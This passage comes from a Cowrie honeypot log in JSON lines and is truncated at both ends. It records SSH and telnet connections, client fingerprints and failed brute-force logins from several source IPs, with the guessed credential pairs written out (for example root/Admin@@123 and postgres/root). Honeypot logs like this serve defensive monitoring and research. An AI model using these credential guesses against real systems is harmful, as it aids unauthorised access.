ha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:56.328564Z","src_ip":"123.58.215.196","session":"ddaf3ec07305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":34310,"dst_ip":"159.203.135.109","dst_port":22,"session":"302a87104d77","protocol":"ssh","message":"New connection: 190.128.201.18:34310 (159.203.135.109:22) [session: 302a87104d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:56.437249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:56.441904Z","src_ip":"190.128.201.18","session":"302a87104d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:56.577246Z","src_ip":"190.128.201.18","session":"302a87104d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"laptop","password":"laptop123","message":"login attempt [laptop/laptop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:57.144023Z","src_ip":"190.128.201.18","session":"302a87104d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"root","message":"login attempt [postgres/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:57.232090Z","src_ip":"123.58.215.196","session":"ddaf3ec07305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:58.280632Z","src_ip":"190.128.201.18","session":"302a87104d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:58.456300Z","src_ip":"123.58.215.196","session":"ddaf3ec07305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":55246,"dst_ip":"159.203.135.109","dst_port":22,"session":"6483cd19047b","protocol":"ssh","message":"New connection: 91.211.95.158:55246 (159.203.135.109:22) [session: 6483cd19047b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:12.102126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:12.121332Z","src_ip":"91.211.95.158","session":"6483cd19047b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:12.271627Z","src_ip":"91.211.95.158","session":"6483cd19047b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nancy","password":"123456","message":"login attempt [nancy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:12.894153Z","src_ip":"91.211.95.158","session":"6483cd19047b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:14.051390Z","src_ip":"91.211.95.158","session":"6483cd19047b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33070,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dfe43685ace","protocol":"telnet","message":"New connection: 107.6.151.170:33070 (159.203.135.109:23) [session: 9dfe43685ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:25.939410Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40276,"dst_ip":"159.203.135.109","dst_port":23,"session":"34def6dc8264","protocol":"telnet","message":"New connection: 107.6.151.170:40276 (159.203.135.109:23) [session: 34def6dc8264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:26.919590Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41048,"dst_ip":"159.203.135.109","dst_port":23,"session":"76df8f839bac","protocol":"telnet","message":"New connection: 107.6.151.170:41048 (159.203.135.109:23) [session: 76df8f839bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:39.240578Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":34240,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c59097ef6d6","protocol":"ssh","message":"New connection: 4.213.224.194:34240 (10.17.0.5:22) [session: 7c59097ef6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:46.592519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:46.596901Z","src_ip":"4.213.224.194","session":"7c59097ef6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:46.793291Z","src_ip":"4.213.224.194","session":"7c59097ef6d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kelvin","password":"kelvin123","message":"login attempt [kelvin/kelvin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:47.614249Z","src_ip":"4.213.224.194","session":"7c59097ef6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:48.816749Z","src_ip":"4.213.224.194","session":"7c59097ef6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.26769018173218,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:24:59.187180Z","src_ip":"107.6.151.170","session":"34def6dc8264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.057321548461914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:00.996588Z","src_ip":"107.6.151.170","session":"9dfe43685ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.845053911209106,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:18.085505Z","src_ip":"107.6.151.170","session":"76df8f839bac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":33054,"dst_ip":"10.17.0.5","dst_port":22,"session":"212098ee37a3","protocol":"ssh","message":"New connection: 103.248.120.6:33054 (10.17.0.5:22) [session: 212098ee37a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:25.702444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:25.708487Z","src_ip":"103.248.120.6","session":"212098ee37a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:25.934705Z","src_ip":"103.248.120.6","session":"212098ee37a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"admin","message":"login attempt [adminuser/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:26.867808Z","src_ip":"103.248.120.6","session":"212098ee37a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:28.096517Z","src_ip":"103.248.120.6","session":"212098ee37a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":60072,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffe5ec9edbc0","protocol":"ssh","message":"New connection: 91.211.95.158:60072 (159.203.135.109:22) [session: ffe5ec9edbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:30.373458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:30.379438Z","src_ip":"91.211.95.158","session":"ffe5ec9edbc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:30.531627Z","src_ip":"91.211.95.158","session":"ffe5ec9edbc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mercury","password":"mercury","message":"login attempt [mercury/mercury] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:31.152975Z","src_ip":"91.211.95.158","session":"ffe5ec9edbc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:32.310479Z","src_ip":"91.211.95.158","session":"ffe5ec9edbc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":37206,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6962e623224","protocol":"ssh","message":"New connection: 176.32.39.21:37206 (10.17.0.5:22) [session: e6962e623224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:36.960298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:36.964051Z","src_ip":"176.32.39.21","session":"e6962e623224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:37.094725Z","src_ip":"176.32.39.21","session":"e6962e623224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"francisco","message":"login attempt [root/francisco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:37.487812Z","src_ip":"176.32.39.21","session":"e6962e623224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:38.619685Z","src_ip":"176.32.39.21","session":"e6962e623224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":17360,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e6350426052","protocol":"ssh","message":"New connection: 123.58.215.196:17360 (10.17.0.5:22) [session: 0e6350426052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:50.833054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:50.838050Z","src_ip":"123.58.215.196","session":"0e6350426052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:51.059490Z","src_ip":"123.58.215.196","session":"0e6350426052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@@123","message":"login attempt [root/Admin@@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:51.976054Z","src_ip":"123.58.215.196","session":"0e6350426052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:53.204638Z","src_ip":"123.58.215.196","session":"0e6350426052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34664,"dst_ip":"159.203.135.109","dst_port":23,"session":"b765b0075347","protocol":"telnet","message":"New connection: 172.81.62.90:34664 (159.203.135.109:23) [session: b765b0075347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:54.822688Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49714,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b24f6ecdd3b","protocol":"ssh","message":"New connection: 2.57.122.238:49714 (159.203.135.109:22) [session: 3b24f6ecdd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:57.216117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:25:57.220692Z","src_ip":"2.57.122.238","session":"3b24f6ecdd3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh